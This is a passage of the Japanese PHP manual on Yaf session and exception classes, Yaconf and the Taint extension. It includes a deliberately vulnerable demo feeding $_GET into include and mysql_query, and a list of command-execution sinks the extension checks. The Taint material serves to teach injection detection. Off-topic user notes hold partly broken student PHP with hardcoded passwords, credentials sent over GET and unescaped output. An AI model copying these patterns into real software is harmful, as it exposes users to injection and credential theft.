  • Yaf_Session
  • The __set purpose

Yaf_Session::__set

(Yaf >=1.0.0)

Yaf_Session::__set — The __set purpose

説明

public Yaf_Session::__set ( string $name , string $value ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

name

value

返り値

User Contributed Notes

There are no user contributed notes for this page.


The start purpose

  • ≪ Yaf_Session::__set
  • Yaf_Session::__unset ≫
  • PHP Manual
  • Yaf_Session
  • The start purpose

Yaf_Session::start

(Yaf >=1.0.0)

Yaf_Session::start — The start purpose

説明

public Yaf_Session::start ( ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


The __unset purpose

  • ≪ Yaf_Session::start
  • Yaf_Session::valid ≫
  • PHP Manual
  • Yaf_Session
  • The __unset purpose

Yaf_Session::__unset

(Yaf >=1.0.0)

Yaf_Session::__unset — The __unset purpose

説明

public Yaf_Session::__unset ( string $name ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

name

返り値

User Contributed Notes

There are no user contributed notes for this page.


The valid purpose

  • ≪ Yaf_Session::__unset
  • Yaf_Exception ≫
  • PHP Manual
  • Yaf_Session
  • The valid purpose

Yaf_Session::valid

(Yaf >=1.0.0)

Yaf_Session::valid — The valid purpose

説明

public Yaf_Session::valid ( ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Exception クラス

(Yaf >=1.0.0)

はじめに

クラス概要

Yaf_Exception extends Exception {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* メソッド */
public __construct ( )
public getPrevious ( ) : void
/* 継承したメソッド */
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
}

目次

  • Yaf_Exception::__construct — コンストラクタ
  • Yaf_Exception::getPrevious — The getPrevious purpose

User Contributed Notes

There are no user contributed notes for this page.


コンストラクタ

  • ≪ Yaf_Exception
  • Yaf_Exception::getPrevious ≫
  • PHP Manual
  • Yaf_Exception
  • コンストラクタ

Yaf_Exception::__construct

(Yaf >=1.0.0)

Yaf_Exception::__construct — コンストラクタ

説明

public Yaf_Exception::__construct ( )

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


The getPrevious purpose

  • ≪ Yaf_Exception::__construct
  • Yaf_Exception_TypeError ≫
  • PHP Manual
  • Yaf_Exception
  • The getPrevious purpose

Yaf_Exception::getPrevious

(Yaf >=1.0.0)

Yaf_Exception::getPrevious — The getPrevious purpose

説明

public Yaf_Exception::getPrevious ( ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Exception_TypeError クラス

(Yaf >=1.0.0)

はじめに

クラス概要

Yaf_Exception_TypeError extends Yaf_Exception {
/* プロパティ */
/* メソッド */
/* 継承したメソッド */
public Yaf_Exception::__construct ( )
public Yaf_Exception::getPrevious ( ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Exception_StartupError クラス

(Yaf >=1.0.0)

はじめに

クラス概要

Yaf_Exception_StartupError extends Yaf_Exception {
/* プロパティ */
/* メソッド */
/* 継承したメソッド */
public Yaf_Exception::__construct ( )
public Yaf_Exception::getPrevious ( ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Exception_DispatchFailed クラス

(Yaf >=1.0.0)

はじめに

クラス概要

Yaf_Exception_DispatchFailed extends Yaf_Exception {
/* プロパティ */
/* メソッド */
/* 継承したメソッド */
public Yaf_Exception::__construct ( )
public Yaf_Exception::getPrevious ( ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Exception_RouterFailed クラス

(Yaf >=1.0.0)

はじめに

クラス概要

Yaf_Exception_RouterFailed extends Yaf_Exception {
/* プロパティ */
/* メソッド */
/* 継承したメソッド */
public Yaf_Exception::__construct ( )
public Yaf_Exception::getPrevious ( ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Exception_LoadFailed クラス

(Yaf >=1.0.0)

はじめに

クラス概要

Yaf_Exception_LoadFailed extends Yaf_Exception {
/* プロパティ */
/* メソッド */
/* 継承したメソッド */
public Yaf_Exception::__construct ( )
public Yaf_Exception::getPrevious ( ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Exception_LoadFailed_Module クラス

(Yaf >=1.0.0)

はじめに

クラス概要

Yaf_Exception_LoadFailed_Module extends Yaf_Exception_LoadFailed {
/* プロパティ */
/* メソッド */
/* 継承したメソッド */
public Yaf_Exception::__construct ( )
public Yaf_Exception::getPrevious ( ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Exception_LoadFailed_Controller クラス

(Yaf >=1.0.0)

はじめに

クラス概要

Yaf_Exception_LoadFailed_Controller extends Yaf_Exception_LoadFailed {
/* プロパティ */
/* メソッド */
/* 継承したメソッド */
public Yaf_Exception::__construct ( )
public Yaf_Exception::getPrevious ( ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Exception_LoadFailed_Action クラス

(Yaf >=1.0.0)

はじめに

クラス概要

Yaf_Exception_LoadFailed_Action extends Yaf_Exception_LoadFailed {
/* プロパティ */
/* メソッド */
/* 継承したメソッド */
public Yaf_Exception::__construct ( )
public Yaf_Exception::getPrevious ( ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Exception_LoadFailed_View クラス

(Yaf >=1.0.0)

はじめに

クラス概要

Yaf_Exception_LoadFailed_View extends Yaf_Exception_LoadFailed {
/* プロパティ */
/* メソッド */
/* 継承したメソッド */
public Yaf_Exception::__construct ( )
public Yaf_Exception::getPrevious ( ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


Yaconf

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • Yaconf — The Yaconf class
    • Yaconf::get — Retrieve a item
    • Yaconf::has — Determine if a item exists

User Contributed Notes

There are no user contributed notes for this page.


はじめに

Yet Another Configurations Container (Yaconf) is a configurations container, it parses INI files, and store the result in PHP when PHP is started, the result lives with the whole PHP lifecycle.

Yaconf stores all configurations as interned string or immutable array, which means they are not refcounted-able, thus when you retrieving configurations from yaconf, it could be considered as zero-copy, very fast.

Yaconf supports sections and sections inheritance in INI files. if PHP is built as non-ZTS build, Yaconf also supports automatically reloading after INI files are changed.

Yaconf requires PHP 7.0 or greater.

例1 INI example

;simple key val
key=val
;hash
hash.a=val
;array
arr.0=val
;or
arr[]=val
;use PHP constants
version=PHP_VERION
;use enviroment
env=${PATH}

例2 INI sections example

[SectionA]
key=val
hash.a=val

;SectionB inherits SectionA
[SectionB:SectionA]
;override configuration key in SectionA
key=new_val

User Contributed Notes

There are no user contributed notes for this page.


要件

Yaconf は PHP 7.0 以上を必要とします。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この » PECL 拡張 モジュールは PHP にバンドルされていません。

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/yaconf.

この PECL 拡張モジュールの Windows バイナリ (DLL ファイル) は、PECL のウェブサイトから取得できます。

User Contributed Notes

There are no user contributed notes for this page.


実行時設定

php.ini の設定により動作が変化します。

Yaconf 設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
yaconf.check_delay | 300 | PHP_INI_SYSTEM |
yaconf.directory | /tmp/conf/ | PHP_INI_SYSTEM |

以下に設定ディレクティブに関する 簡単な説明を示します。

yaconf.check_delay int

In which interval Yaconf will detect ini file's change(by directory's mtime), if it is set to zero, you have to restart php to reloading configurations.

yaconf.directory string

Path to directory which all INI configuration files are placed in.

User Contributed Notes

There are no user contributed notes for this page.


The Yaconf class

(PECL yaconf >= 1.0.0)

はじめに

Yaconf is a configurations container, it parses INIT files, stores the result in PHP when PHP is started, the result lives with the whole PHP lifecycle.

クラス概要

Yaconf {
/* メソッド */
public static get ( string $name , mixed $default_value = NULL ) : mixed
public static has ( string $name ) : bool
}

目次

  • Yaconf::get — Retrieve a item
  • Yaconf::has — Determine if a item exists

User Contributed Notes

There are no user contributed notes for this page.


Retrieve a item

  • ≪ Yaconf
  • Yaconf::has ≫
  • PHP Manual
  • Yaconf
  • Retrieve a item

Yaconf::get

(PECL yaconf >= 1.0.0)

Yaconf::get — Retrieve a item

説明

public static Yaconf::get ( string $name , mixed $default_value = NULL ) : mixed

パラメータ

name

Configuration key, the key looks like "filename.key", or "filename.sectionName,key".

default_value

if the key doesn't exists, Yaconf::get will return this as result.

返り値

Returns configuration result(string or array) if the key exists, return default_value if not.

例

例1 INI()example

;filenmame foo.ini, placed in directory which is yaconf.directoy
[SectionA]
;key value pair
key=val
;hash[a]=val
hash.a=val
;arr[0]=val
arr.0=val
;or
arr[]=val

;SectionB inherits SectionA
[SectionB:SectionA]
;override configuration key in SectionA
key=new_val

上の例の出力は、 たとえば以下のようになります。

php7 -r 'var_dump(Yaconf::get("foo.SectionA.key"));'
//string(3) "val"

php7 -r 'var_dump(Yaconf::get("foo.SectionB.key"));'
//string(7) "new_val"

php7 -r 'var_dump(Yaconf::get("foo")["SectionA"]["hash"]);'
//array(1)

User Contributed Notes

There are no user contributed notes for this page.


Determine if a item exists

  • ≪ Yaconf::get
  • Taint ≫
  • PHP Manual
  • Yaconf
  • Determine if a item exists

Yaconf::has

(PECL yaconf >= 1.0.0)

Yaconf::has — Determine if a item exists

説明

public static Yaconf::has ( string $name ) : bool

パラメータ

name

返り値

User Contributed Notes

There are no user contributed notes for this page.


Taint

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 詳細
    • 汚染された文字列の汚染マークを広げる関数や文
    • 汚染された文字列をチェックする関数や文
    • 文字列の汚染を除去する関数
  • Taint 関数
    • is_tainted — 文字列が汚染されているかどうかを調べる
    • taint — 文字列を汚染させる
    • untaint — 文字列の汚染を除去する

User Contributed Notes

dewi at dewimorgan dot com 17-Nov-2017 04:58
Latest compatibility info is available at the pecl page - https://pecl.php.net/package/taint shows that latest compatibility is 7+, and a windows DLL is available.
ray at rayxis dot com 07-Aug-2015 06:06
According to PECL "pecl/taint requires PHP (version >= 5.2.0, version <= 5.4.99)"


はじめに

taint は、XSS コード (汚染された文字列) を検出するための拡張モジュールです。 SQL インジェクションやシェルコマンドインジェクションなどの脆弱性を検出するためにも使えます。

taint を有効にすると、汚染された文字列 ($_GET や $_POST、$_COOKIE に由来するもの) を何かの関数に渡そうとしたときに警告を出すようになります。

例1 taint() の例

<?php
$a = trim($_GET['a']);

$file_name = '/tmp' .  $a;
$output    = "Welcome, {$a} !!!";
$var       = "output";
$sql       = "Select *  from " . $a;
$sql      .= "ooxx";

echo $output;

print $$var;

include($file_name);

mysql_query($sql);
?>

上の例の出力は、 たとえば以下のようになります。

Warning: main() [function.echo]: Attempt to echo a string that might be tainted

Warning: main() [function.echo]: Attempt to print a string that might be tainted

Warning: include() [function.include]: File path contains data that might be tainted

Warning: mysql_query() [function.mysql-query]: SQL statement contains data that might be tainted

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この » PECL 拡張 モジュールは PHP にバンドルされていません。

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/taint.

この PECL 拡張モジュールの DLL は、現在存在しません。 Windows でのビルド も参照ください

User Contributed Notes

There are no user contributed notes for this page.


実行時設定

php.ini の設定により動作が変化します。

Taint 設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
taint.enable | 0 | PHP_INI_SYSTEM |
taint.error_level | E_WARNING | PHP_INI_ALL |

以下に設定ディレクティブに関する 簡単な説明を示します。

taint.enable int

taint を有効にするかどうか。

taint.error_level int

汚染された文字列を見つけたときに taint が報告するエラーの形式。

User Contributed Notes

There are no user contributed notes for this page.


詳細

目次

  • 汚染された文字列の汚染マークを広げる関数や文
  • 汚染された文字列をチェックする関数や文
  • 文字列の汚染を除去する関数

User Contributed Notes

There are no user contributed notes for this page.


汚染された文字列の汚染マークを広げる関数や文

関数 / 文 | 対応するようになったバージョン
= (代入) | 0.1.0
. (連結) | 0.1.0
"{$var}" (変数の置換) | 0.1.0
.= (連結代入) | 0.1.0
strval | 0.3.0
explode/split | 0.3.0
implode/join | 0.3.0
sprintf | 0.3.0
vsprintf | 0.3.0
trim | 0.4.0
rtrim | 0.4.0
ltrim | 0.4.0
strstr | 0.5.0
str_pad | 0.5.0
str_replace | 0.5.0
substr | 0.5.0
strtolower | 0.5.0
strtoupper | 0.5.0

User Contributed Notes

There are no user contributed notes for this page.


汚染された文字列をチェックする関数や文

関数 / 文 | 対応するようになったバージョン
基本構文
eval | 0.1.0
include/include_once | 0.1.0
require/require_once | 0.1.0
出力関数
echo | 0.1.0
print | 0.1.0
printf | 0.1.0
file_put_contents | 0.1.0
ファイルシステム関数
fopen | 0.2.0
opendir | 0.2.0
basename | 0.2.0
dirname | 0.2.0
file | 0.2.0
pathinfo | 0.2.0
データベース関連関数
mysql_query | 0.2.0
mysqli_query/MySQLi::query | 0.2.0
sqlite_query/SqliteDataBase::query | 0.3.0
sqlite_single_query/SqliteDataBase::singleQuery | 0.3.0
oci_parse | 0.3.0
PDO::query | 0.3.0
PDO::prepare | 0.3.0
SQLite3::query | 2.0.1
SQLite3::prepare | 2.0.1
コマンドライン関連関数
system | 0.1.0
exec | 0.1.0
proc_open | 0.1.0
passthru | 0.1.0
shell_exec | 0.3.0

User Contributed Notes

There are no user contributed notes for this page.


文字列の汚染を除去する関数

関数 | 対応するようになったバージョン
addslashes | 0.1.0
addcslashes | 0.1.0
htmlspecialchars | 0.1.0
htmlentities | 0.1.0
escapeshellcmd | 0.1.0
mysql_escape_string | 0.1.0
mysql_real_escape_string | 0.1.0
mysqli_escape_string/MySQLi::escape_string | 0.1.0
mysqli_real_escape_string/MySQLi::real_escape_string | 0.1.0
sqlite_escape_string/SqliteDataBase::escapeString | 0.3.0
PDO::quote | 0.3.0

User Contributed Notes

There are no user contributed notes for this page.


Taint 関数

目次

  • is_tainted — 文字列が汚染されているかどうかを調べる
  • taint — 文字列を汚染させる
  • untaint — 文字列の汚染を除去する

User Contributed Notes

There are no user contributed notes for this page.


文字列が汚染されているかどうかを調べる

  • ≪ Taint 関数
  • taint ≫
  • PHP Manual
  • Taint 関数
  • 文字列が汚染されているかどうかを調べる

is_tainted

(PECL taint >=0.1.0)

is_tainted — 文字列が汚染されているかどうかを調べる

説明

is_tainted ( string $string ) : bool

文字列が汚染されているかどうかを調べます。

パラメータ

string

返り値

文字列が汚染されている場合に TRUE、それ以外の場合に FALSE を返します。

User Contributed Notes

There are no user contributed notes for this page.


文字列を汚染させる

  • ≪ is_tainted
  • untaint ≫
  • PHP Manual
  • Taint 関数
  • 文字列を汚染させる

taint

(PECL taint >=0.1.0)

taint — 文字列を汚染させる

説明

taint ( string &$string , string ...$strings ) : bool

文字列を汚染させます。この関数は、テスト用としてのみ使うものです。

パラメータ

string

strings

返り値

変換に成功したときに TURE を返します。 taint 拡張モジュールが有効になっていない場合は常に TRUE を返します。

User Contributed Notes

else_2do at gmail dot com 07-Mar-2021 09:36
<?php

class nave {
    private $nome;
    private $prezoDiario;
    private $alugado;
    private $nomeImaxe;

    function __construct($nome,$prezoDiario,$nomeImaxe){
        $this->nome=$nome;
        $this->prezoDiario=$prezoDiario;
        $this->alugado="no";
        $this->nomeImaxe=$nomeImaxe;
    }
    function getNome(){
        return $this->nome;
    }
    function getPrezodiario(){
        return $this->prezoDiario;
    }
    function getAlugado(){
        return $this->alugado;
    }
    function getNomeimaxe(){
        return $this->nomeImaxe;
    }
    function alugar(){
        return $this->alugado="si";
    }
    function desalugar(){
        $this->alugado="no";
    }
}

?>
primerito_carlos at gmail dot com 07-Mar-2021 09:26
<!DOCTYPE html>
<html>
<head>
    <title></title>
</head>
<body>
    <form method="GET" action="opcions.php">
        <p>Usuario</p>
        <input type="text" name="usu"><br>
        <p>Contrasena</p>
        <input type="password" name="con"><br>
        <input type="submit" name="enviar" value="Enviar">
    </form>
</body>
</html>
<?php
@session_start();
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
    <title></title>
</head>
<body>
<?php
$usu=$_GET["usu"];
$con=$_GET["con"];
if (($usu=="Xan" && $con=="abc123.") OR ($usu=="Ana" && $con=="abc123.")){
    $SESSION["usu"]=$usu;
    echo "Usuario correcto<br>";
    $conexion=mysqli_connect("192.168.2.201","exame","abc123.","musica");
    if ($conexion != FALSE) {
        echo "Conexion a BD establecida";

    echo "<form method='GET' action='lista.php'><br>
        <input type='submit' name='completo' value='Listar todos os discos'>
        <input type='submit' name='orden_titulo' value='Listar por titulo'>
        <input type='submit' name='orden_autor' value='Listar por autor'>
        <select name='Autor'>
            <option>Beatles</option>
            <option>Rolling</option>
            <option>xxx</option>
            <input type='submit' name='Enviar'>
        </select>
        </form>";
        if($usu=="Ana"){
            echo "<br>
            <input type='submit'name='engadir' value='Engadir rexistro'>
            <input type='submit'name='editar' value='Editar rexistro'>
            <input type='submit'name='eliminar' value='Eliminar rexistro'>
            </form>";
        }
    }
}else{
    echo "Usuario erroneo";
}
echo "<form method='GET' action='login.php'>
        <input type='submit' name='volver' value='Volver al login'";
?>
</body>
</html>
--------------
<article id="contenedor">
<?php
$conexion=mysqli_connect("192.168.2.201","exame","abc123.","musica");
if ($conexion) {
    if (isset($_GET['completo'])) {
        $consulta="SELECT * FROM tema";
    }
    elseif (isset($_GET['orden_titulo'])) {
        $consulta="SELECT * FROM tema ORDER BY Titulo";
    }
    elseif (isset($_GET['orden_autor'])) {
    $consulta="SELECT * FROM tema ORDER BY Autor";
    }
    elseif (isset($_GET['Autor'])) {
        if ($_GET['Autor']=="The Beatles") {
            $consulta="SELECT * FROM tema WHERE Autor='The Beatles'";
        }
    }
    $resultado=mysqli_query($conexion,$consulta);
    if ($resultado!=FALSE) {
        while ($fila=mysqli_fetch_array($resultado)) {
            echo "<div class='produto'><img src='imaxes/$fila[Imaxe].jpg'><br>$fila[Titulo]><br>$fila[Autor]<br>$fila[Ano]<br></div>";
        }
    }
    echo "<form method='GET' action='opcions.php'>
        <input type='submit' value='volver'/>";
?>
</article>
}
?>
ramon dot vanidoso at gmail dot com 08-Feb-2021 04:32
if (isset($_GET['aluga'])) {
        foreach ($_SESSION['flota'] as $id=>$vehiculo) {
            if($vehiculo->getMatricula()==($_GET['mat'])){
                $indice=$id;
                $dias=$_GET['dias'];
               $_SESSION['flota'][$indice]->aluga($dias);
            }
        }
        foreach ($_SESSION['flota'] as $id=>$vehiculo) {
            if($vehiculo->getDiasAlugado() > 1 ){
            echo "O vehiculo ".$vehiculo->getModelo()." con matricula ".$vehiculo->getMatricula()." foi alugado durante ".$vehiculo->getDiasAlugado()." dias <br>Imaxe: <br><img width='200' height='100' src='imaxes/".$vehiculo->getImaxe().".jpg'><br>";
            }
        }
    }
    if (isset($_GET['desalugar'])) {
        foreach ($_SESSION['flota'] as $id=>$vehiculo) {
            if($vehiculo->getMatricula()==($_GET['mat'])){
                $indice=$id;
                $kms=$_GET['kms'];
               $_SESSION['flota'][$indice]->devolveAlugado($kms);
            }
        }
        foreach ($_SESSION['flota'] as $id=>$vehiculo) {
            if($_GET['mat'])
            echo "O vehiculo ".$vehiculo->getModelo()." con matricula ".$vehiculo->getMatricula()." terminou o periodo de alugamento con un total de ".$vehiculo->getKms()." kms<br>Imaxe: <br><img width='200' height='100' src='imaxes/".$vehiculo->getImaxe().".jpg'><br>";
        }
    }
    if (isset($_GET['garda'])) {
        $fich=fopen('flota.txt',"w");
        $XD=serialize($_SESSION['flota']);
        fwrite($fich,$XD);
        fclose($fich);
    }
    if (isset($_GET['ler'])) {
        $fich=fopen('flota.txt',"r");
        $lerarray=fread($fich,filesize('flota.txt'));
        $_SESSION['flota']=unserialize($lerarray);
        foreach ($_SESSION['flota'] as $key => $coche) {
            echo "Matricula: ".$coche->getMatricula()."<br>Modelo: ".$coche->getModelo()."<br>KMS: ".$coche->getKms()." km <br>";
        }
        fclose($fich);

    }
    if (isset($_GET['del'])) {
        unset($_SESSION['flota']);
        session_destroy();
    }
 ?>
</body>
</html>
ramon dot vanidoso at gmail dot com 08-Feb-2021 04:31
I think the real problem u have is the use of bucle for:

<?php
    require 'vehiculos.class.php';
     session_start();
?>
<!DOCTYPE html>
<html>
<head>
    <title></title>
</head>
<body>

<?php
    echo "<form action='introducir.php' method='GET'>";
    echo "<input type='submit' value='Introducir un coche'><br>";
    echo "</form>";
    echo "<form action='borrar.php' method='GET'>";
    echo "<input type='submit' value='Borrar un coche'><br>";
    echo "</form>";
    echo "<form action='alugar.php' method='GET'>";
    echo "<input type='submit' value='Alugar un coche'><br>";
    echo "</form>";
    echo "<form action='desaluga.php' method='GET'>";
    echo "<input type='submit' value='Desalugar un coche'><br>";
    echo "</form>";
    echo "<form action='xestionFlota.php' method='GET'>";
    echo "<input type='submit' name='garda' value='Gardar o array nun ficheiro'><br>";
    echo "</form>";
    echo "<form action='xestionFlota.php' method='GET'>";
    echo "<input type='submit' name='ler' value='Ler o array dun ficheiro'><br>";
    echo "</form>";
    echo "<form action='xestionFlota.php' method='GET'>";
    echo "<input type='submit' name='del' value='Borrar e sair'><br>";
    echo "</form>";
    echo "Hai un total de ".vehiculo::$numVehiculos." vehiculos en total na empresa, e un total de ".vehiculo::$numVehiculosAlugados." alugados<br>";
    if(! isset($_SESSION['flota'])){
        $flota = array();
        $_SESSION['flota']=$flota;
    }
    if (isset($_GET['intro'])) {
        $novoVehiculo = new vehiculo ($_GET['mat'],$_GET['mod'],$_GET['kms'],$_GET['imaxe']);
        $_SESSION['flota'][]=$novoVehiculo;
        foreach ($_SESSION['flota'] as $id=>$vehiculo) {
            echo "O vehiculo ".$vehiculo->getModelo()." con matricula ".$vehiculo->getMatricula()." e ".$vehiculo->getKms()." kms<br>Imaxe: <br><img width='200' height='100' src='imaxes/".$vehiculo->getImaxe().".jpg'><br>";
        }
    }
    if (isset($_GET['borrar'])) {
        foreach ($_SESSION['flota'] as $id=>$vehiculo) {
            if($vehiculos->getMatricula()==($_GET['mat'])){
                $indice=$id;
                unset($_SESSION['flota'][$indice]);
                $_SESSION['flota']=array_values($_SESSION['flota']);
            }
        }
        foreach ($_SESSION['flota'] as $id=>$vehiculo) {
            echo "O vehiculo ".$vehiculo->getModelo()." con matricula ".$vehiculo->getMatricula()." e ".$vehiculo->getKms()." kms<br>Imaxe: <br><img width='200' height='100' src='imaxes/".$vehiculo->getImaxe().".jpg'><br>";
        }
    }
ramon dot vanidoso at gmail dot com 08-Feb-2021 04:31
I think the real problem u have is the use of bucle for:

<?php
    require 'vehiculos.class.php';
     session_start();
?>
<!DOCTYPE html>
<html>
<head>
    <title></title>
</head>
<body>

<?php
    echo "<form action='introducir.php' method='GET'>";
    echo "<input type='submit' value='Introducir un coche'><br>";
    echo "</form>";
    echo "<form action='borrar.php' method='GET'>";
    echo "<input type='submit' value='Borrar un coche'><br>";
    echo "</form>";
    echo "<form action='alugar.php' method='GET'>";
    echo "<input type='submit' value='Alugar un coche'><br>";
    echo "</form>";
    echo "<form action='desaluga.php' method='GET'>";
    echo "<input type='submit' value='Desalugar un coche'><br>";
    echo "</form>";
    echo "<form action='xestionFlota.php' method='GET'>";
    echo "<input type='submit' name='garda' value='Gardar o array nun ficheiro'><br>";
    echo "</form>";
    echo "<form action='xestionFlota.php' method='GET'>";
    echo "<input type='submit' name='ler' value='Ler o array dun ficheiro'><br>";
    echo "</form>";
    echo "<form action='xestionFlota.php' method='GET'>";
    echo "<input type='submit' name='del' value='Borrar e sair'><br>";
    echo "</form>";
    echo "Hai un total de ".vehiculo::$numVehiculos." vehiculos en total na empresa, e un total de ".vehiculo::$numVehiculosAlugados." alugados<br>";
    if(! isset($_SESSION['flota'])){
        $flota = array();
        $_SESSION['flota']=$flota;
    }
    if (isset($_GET['intro'])) {
        $novoVehiculo = new vehiculo ($_GET['mat'],$_GET['mod'],$_GET['kms'],$_GET['imaxe']);
        $_SESSION['flota'][]=$novoVehiculo;
        foreach ($_SESSION['flota'] as $id=>$vehiculo) {
            echo "O vehiculo ".$vehiculo->getModelo()." con matricula ".$vehiculo->getMatricula()." e ".$vehiculo->getKms()." kms<br>Imaxe: <br><img width='200' height='100' src='imaxes/".$vehiculo->getImaxe().".jpg'><br>";
        }
    }
    if (isset($_GET['borrar'])) {
        foreach ($_SESSION['flota'] as $id=>$vehiculo) {
            if($vehiculos->getMatricula()==($_GET['mat'])){
                $indice=$id;
                unset($_SESSION['flota'][$indice]);
                $_SESSION['flota']=array_values($_SESSION['flota']);
            }
        }
        foreach ($_SESSION['flota'] as $id=>$vehiculo) {
            echo "O vehiculo ".$vehiculo->getModelo()." con matricula ".$vehiculo->getMatricula()." e ".$vehiculo->getKms()." kms<br>Imaxe: <br><img width='200' height='100' src='imaxes/".$vehiculo->getImaxe().".jpg'><br>";
        }
    }
Anonymous 13-Dec-2020 05:58
The answer of your question is:

<?php
    session_start();
session_destroy();
?>
<meta charset="UTF-8">
<html>
<form method="GET" action="datos.php">
<?php
   if(isset($_GET['usuario'])){
    if(strcmp("ana",$_GET['usuario'])==0){
        if(strcmp("abc123.",$_GET['contrasena'])==0){
        $_SESSION['usuario']=$_GET['usuario'];
        }
        else{
         echo"
            <script>
                alert ('Usuario o contrasena incorrectos');
                window.location='login.php';
            </script>"
        ;}
    }

       if(strcmp("xan",$_GET['usuario'])==0){
           if(strcmp("abc123.",$_GET['contrasena'])==0){
         $_SESSION['usuario']=$_GET['usuario'];
       }
        else{
            echo"
                <script>
                    alert ('Usuario o contrasena incorrectos');
                    window.location='login.php';
                </script>"
        ;}
        }

    }

    if(isset($_SESSION['usuario'])){
        //lo que se muestra na la pagina.
      $conexion=mysqli_connect("localhost","root","","folla14")or die(mysqli_error());

    if($conexion){
        mysqli_set_charset($conexion,"UTF8");
        echo "
            <input type='submit' value='Lista completa' name='listac'>
            "
        ;}
    }
     else{
         echo"
         <script>
        alert ('Usuario o contrasena incorrectos');
        window.location='login.php';
         </script>";
     }

?>


文字列の汚染を除去する

  • ≪ taint
  • Data Structures ≫
  • PHP Manual
  • Taint 関数
  • 文字列の汚染を除去する

untaint

(PECL taint >=0.1.0)

untaint — 文字列の汚染を除去する

説明

untaint ( string &$string , string ...$strings ) : bool

文字列の汚染を除去します。

パラメータ

string

strings

返り値

User Contributed Notes

There are no user contributed notes for this page.


Data Structures

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
  • 定義済み定数
  • 例
  • Collection — The Collection interface
    • Ds\Collection::clear — Removes all values
    • Ds\Collection::copy — Returns a shallow copy of the collection
    • Ds\Collection::isEmpty — Returns whether the collection is empty
    • Ds\Collection::toArray — Converts the collection to an array
  • Hashable — The Hashable interface
    • Ds\Hashable::equals — Determines whether an object is equal to the current instance
    • Ds\Hashable::hash — Returns a scalar value to be used as a hash value
  • Sequence — The Sequence interface
    • Ds\Sequence::allocate — Allocates enough memory for a required capacity
    • Ds\Sequence::apply — Updates all values by applying a callback function to each value
    • Ds\Sequence::capacity — Returns the current capacity
    • Ds\Sequence::contains — Determines if the sequence contains given values
    • Ds\Sequence::filter — Creates a new sequence using a callable to determine which values to include
    • Ds\Sequence::find — Attempts to find a value's index
    • Ds\Sequence::first — Returns the first value in the sequence
    • Ds\Sequence::get — Returns the value at a given index
    • Ds\Sequence::insert — Inserts values at a given index
    • Ds\Sequence::join — Joins all values together as a string
    • Ds\Sequence::last — Returns the last value
    • Ds\Sequence::map — Returns the result of applying a callback to each value
    • Ds\Sequence::merge — Returns the result of adding all given values to the sequence
    • Ds\Sequence::pop — Removes and returns the last value
    • Ds\Sequence::push — Adds values to the end of the sequence
    • Ds\Sequence::reduce — Reduces the sequence to a single value using a callback function
    • Ds\Sequence::remove — Removes and returns a value by index
    • Ds\Sequence::reverse — Reverses the sequence in-place
    • Ds\Sequence::reversed — Returns a reversed copy
    • Ds\Sequence::rotate — Rotates the sequence by a given number of rotations
    • Ds\Sequence::set — Updates a value at a given index
    • Ds\Sequence::shift — Removes and returns the first value
    • Ds\Sequence::slice — Returns a sub-sequence of a given range
    • Ds\Sequence::sort — Sorts the sequence in-place
    • Ds\Sequence::sorted — Returns a sorted copy
    • Ds\Sequence::sum — Returns the sum of all values in the sequence
    • Ds\Sequence::unshift — Adds values to the front of the sequence
  • Vector — The Vector class
    • Ds\Vector::allocate — Allocates enough memory for a required capacity
    • Ds\Vector::apply — Updates all values by applying a callback function to each value
    • Ds\Vector::capacity — Returns the current capacity
    • Ds\Vector::clear — Removes all values
    • Ds\Vector::__construct — Creates a new instance
    • Ds\Vector::contains — Determines if the vector contains given values
    • Ds\Vector::copy — Returns a shallow copy of the vector
    • Ds\Vector::count — Returns the number of values in the collection
    • Ds\Vector::filter — Creates a new vector using a callable to determine which values to include
    • Ds\Vector::find — Attempts to find a value's index
    • Ds\Vector::first — Returns the first value in the vector
